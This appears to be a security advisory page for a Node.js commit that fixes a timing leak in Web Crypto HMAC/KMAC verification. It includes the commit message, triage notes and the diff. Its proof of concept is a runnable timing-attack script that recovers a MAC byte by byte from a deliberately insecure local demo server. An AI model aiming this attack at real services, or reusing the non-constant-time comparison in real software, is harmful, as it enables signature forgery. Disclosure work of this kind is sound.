Timing attack (MAC verification) due to non-constant-time comparison of MAC outputs

HIGH
nodejs/node
Commit: b36d5a3d94dc
Affected: 25.9.0 and earlier (pre-fix)
2026-04-05 10:18 UTC

Description

The commit replaces memcmp with CRYPTO_memcmp in HMAC and KMAC verification paths used by Web Crypto (HMAC and KMAC outputs). The previous non-constant-time comparison could leak information about how many initial bytes of the MAC were correct, enabling a timing attack to recover the MAC. The change fixes this by using a timing-safe comparison function (CRYPTO_memcmp) to compare computed MACs against supplied signatures.

Proof of Concept

/* Vulnerable demonstration server (for local/test environment) showing timing-based MAC verification leakage */ // Dependencies: node >= 18 // Vulnerable server (uses a memcmp-like, non-constant-time comparison in MAC verification) const http = require('http'); const crypto = require('crypto'); const SECRET = Buffer.from('supersecretkey', 'utf8'); const MSG = 'demo-message'; function vulnerableCompare(a, b) { // Insecure: sequential byte comparison that can leak timing information if (a.length !== b.length) return false; for (let i = 0; i < a.length; i++) { if (a[i] !== b[i]) return false; } return true; } http.createServer((req, res) => { if (req.url.startsWith('/verify')) { const url = new URL(req.url, `http://${req.headers.host}`); const sigHex = url.searchParams.get('signature') || ''; const provided = Buffer.from(sigHex, 'hex'); const computed = crypto.createHmac('sha256', SECRET).update(MSG).digest(); const ok = vulnerableCompare(computed, provided); res.statusCode = ok ? 200 : 403; res.end(ok ? 'OK' : 'Invalid MAC'); } else { res.end('ready'); } }).listen(1337, () => console.log('Vulnerable MAC verify server listening on :1337')); /* Attacker PoC (timing attack to recover MAC byte-by-byte) */ // Run this after starting the server. It attempts to recover the 32-byte HMAC by // measuring response times for candidate byte values and picking the value that // yields the highest average response time (indicative of correct byte during sequential compare). const httpModule = require('http'); const TARGET = 'http://localhost:1337/verify?signature='; const MAC_LEN = 32; // SHA-256 output length in bytes function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function measure(candidateHex) { const url = TARGET + candidateHex; const start = process.hrtime.bigint(); await new Promise((resolve) => { httpModule.get(url, (res) => { res.on('data', () => {}); res.on('end', resolve); }).on('error', resolve); }); const end = process.hrtime.bigint(); const ms = Number(end - start) / 1e6; return ms; } async function runAttack() { const recovered = Buffer.alloc(MAC_LEN, 0); const prefix = Buffer.alloc(0); let known = Buffer.alloc(0); for (let i = 0; i < MAC_LEN; i++) { let bestByte = 0; let bestTime = -Infinity; for (let b = 0; b < 256; b++) { const guess = Buffer.concat([known, Buffer.from([b]), Buffer.alloc(MAC_LEN - i - 1, 0)]); const hex = guess.toString('hex'); // Take multiple samples to mitigate noise const samples = 3; let total = 0; for (let s = 0; s < samples; s++) { total += await measure(hex); } const avg = total / samples; if (avg > bestTime) { bestTime = avg; bestByte = b; } } known = Buffer.concat([known, Buffer.from([bestByte])]); console.log(`Recovered byte ${i}: 0x${bestByte.toString(16).padStart(2, '0')}`); } console.log('Recovered MAC (hex):', known.toString('hex')); } // To run the attacker, uncomment the following line and execute this file after starting the server // runAttack();

Commit Details

Author: Filip Skokan

Date: 2026-02-20 11:32 UTC

Message:

crypto: use timing-safe comparison in Web Cryptography HMAC and KMAC Use `CRYPTO_memcmp` instead of `memcmp` in `HMAC` and `KMAC` Web Cryptography algorithm implementations. Ref: https://hackerone.com/reports/3533945 PR-URL: https://github.com/nodejs-private/node-private/pull/822 Refs: https://hackerone.com/reports/3533945 Reviewed-By: Anna Henningsen <anna@addaleax.net> Reviewed-By: Rafael Gonzaga <rafael.nunu@hotmail.com> Reviewed-By: Сковорода Никита Андреевич <chalkerx@gmail.com> CVE-ID: CVE-2026-21713

Triage Assessment

Vulnerability Type: Timing attack (MAC verification)

Confidence: HIGH

Reasoning:

The commit switches from memcmp to a timing-safe comparison (CRYPTO_memcmp) when verifying HMAC/KMAC outputs. This mitigates timing-side-channel leaks in MAC verification, a known security vulnerability vector (info leakage via timing).

Verification Assessment

Vulnerability Type: Timing attack (MAC verification) due to non-constant-time comparison of MAC outputs

Confidence: HIGH

Affected Versions: 25.9.0 and earlier (pre-fix)

Code Diff

diff --git a/src/crypto/crypto_hmac.cc b/src/crypto/crypto_hmac.cc index dadb0fc8017e46..88a512d7550200 100644 --- a/src/crypto/crypto_hmac.cc +++ b/src/crypto/crypto_hmac.cc @@ -270,7 +270,8 @@ MaybeLocal<Value> HmacTraits::EncodeOutput(Environment* env, return Boolean::New( env->isolate(), out->size() > 0 && out->size() == params.signature.size() && - memcmp(out->data(), params.signature.data(), out->size()) == 0); + CRYPTO_memcmp( + out->data(), params.signature.data(), out->size()) == 0); } UNREACHABLE(); } diff --git a/src/crypto/crypto_kmac.cc b/src/crypto/crypto_kmac.cc index 7dafa9f6d14b1b..c862a20f410d9d 100644 --- a/src/crypto/crypto_kmac.cc +++ b/src/crypto/crypto_kmac.cc @@ -202,7 +202,8 @@ MaybeLocal<Value> KmacTraits::EncodeOutput(Environment* env, return Boolean::New( env->isolate(), out->size() > 0 && out->size() == params.signature.size() && - memcmp(out->data(), params.signature.data(), out->size()) == 0); + CRYPTO_memcmp( + out->data(), params.signature.data(), out->size()) == 0); } UNREACHABLE(); }
← Back to Alerts View on GitHub →